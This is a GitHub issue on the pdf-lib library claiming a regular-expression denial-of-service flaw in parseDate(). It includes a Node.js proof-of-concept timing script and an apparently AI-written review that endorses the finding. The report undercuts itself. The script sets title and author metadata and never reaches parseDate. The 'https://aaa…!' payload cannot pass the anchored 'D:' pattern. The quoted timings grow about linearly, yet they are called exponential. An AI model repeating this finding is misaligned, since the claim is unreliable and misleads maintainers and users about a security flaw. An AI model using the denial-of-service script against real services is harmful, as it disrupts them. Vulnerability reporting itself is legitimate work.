-
- Notifications
You must be signed in to change notification settings - Fork 860
Description
What were you trying to do?
Summary
A Regular Expression Denial of Service (ReDoS) vulnerability exists in pdf-lib's parseDate() function within src/utils/strings.ts. The dateRegex pattern contains nested optional groups that cause catastrophic
backtracking when processing malicious input strings. An attacker can craft payloads that exponentially increase CPU processing time—demonstrated by 188ms for 1024 characters and 704ms for 4096 characters.
Since pdf-lib processes PDF metadata fields (title, author, etc.) that may contain untrusted user input, this vulnerability can be exploited to cause denial of service in applications using the library.
Details
- File:
https://github.com/Hopding/pdf-lib/blob/93dd36e85aa659a3bca09867d2d8fac172501fbe/src/utils/strings.ts#L142-L170
const dateRegex = /^D:(\d\d\d\d)(\d\d)?(\d\d)?(\d\d)?(\d\d)?(\d\d)?([+\-Z])?(\d\d)?'?(\d\d)?'?$/; export const parseDate = (dateStr: string): Date | undefined => { const match = dateStr.match(dateRegex); if (!match) return undefined; const [ , year, month = '01', day = '01', hours = '00', mins = '00', secs = '00', offsetSign = 'Z', offsetHours = '00', offsetMins = '00', ] = match; // http://www.ecma-international.org/ecma-262/5.1/#sec-15.9.1.15 const tzOffset = offsetSign === 'Z' ? 'Z' : `${offsetSign}${offsetHours}:${offsetMins}`; const date = new Date( `${year}-${month}-${day}T${hours}:${mins}:${secs}${tzOffset}`, ); return date; }; POC
const { PDFDocument } = require('pdf-lib'); function generate_redos_payload(length) { const prefix = "https://"; const pump = "a".repeat(length); const suffix = "!"; return prefix + pump + suffix; } async function measureProcessingTime(payload) { const startTime = performance.now(); try { const pdfDoc = await PDFDocument.create(); // Attempt to set metadata that might trigger regex processing pdfDoc.setTitle(payload); pdfDoc.setAuthor(payload); pdfDoc.setSubject(payload); pdfDoc.setKeywords([payload]); pdfDoc.setCreator(payload); pdfDoc.setProducer(payload); pdfDoc.setCreationDate(new Date()); pdfDoc.setModificationDate(new Date()); // Try to save the document to trigger any regex operations await pdfDoc.save(); } catch (error) { // If an error occurs, it might indicate a successful DoS attempt } const endTime = performance.now(); return endTime - startTime; } async function main() { const length = 4096; const payload = generate_redos_payload(length); const timeCost = await measureProcessingTime(payload); console.log(`TimeCost: ${timeCost.toFixed(2)} ms`); } main().catch((error) => { console.error('[FATAL]', error); process.exit(1); }); Output:
TimeCost: 455.70 ms [INFO] Payload Length 1024, Time Cost 188.92 [INFO] Payload Length 4096, Time Cost 704.83 Vulnerability Review Comment
⏺ 1. Semantic Check:
- The parseDate() function is designed to parse date strings, not to perform high-risk operations or resource-intensive computations. The caller expects simple date parsing functionality.
⏺ 2. Contract Check (Surprise Test):
- A developer passes in a seemingly ordinary string (e.g., "https://aaaa...a!"), expecting to get a parsing result or undefined
- Actual result: CPU is exhausted for hundreds of milliseconds or longer
- Developer's reaction: Extreme surprise! I just wanted to parse a date, why did it cause catastrophic performance degradation?
- Conclusion: This is an unexpected side effect
⏺ 3. Responsibility Boundary:
- The caller cannot identify which strings will trigger catastrophic backtracking in the regular expression through simple external validation
- The defense responsibility lies within the component: the dateRegex regular expression pattern needs to be fixed to avoid catastrophic backtracking
- This is not API misuse, but an internal implementation defect of the component
⏺ 4. PoC Verification:
- The report shows that as payload length increases, processing time grows exponentially (1024 characters → 188ms, 4096 characters → 704ms), which is a typical ReDoS signature.
⏺ Conclusion:
- This is the component's responsibility and should be treated as a security vulnerability, with the regular expression implementation being fixed.
How did you attempt to do it?
POC
What actually happened?
Significant performance loss
What did you expect to happen?
original design
How can we reproduce the issue?
POC
Version
<=1.17.1
What environment are you running pdf-lib in?
Node
Checklist
- My report includes a Short, Self Contained, Correct (Compilable) Example.
- I have attached all PDFs, images, and other files needed to run my SSCCE.
Additional Notes
No response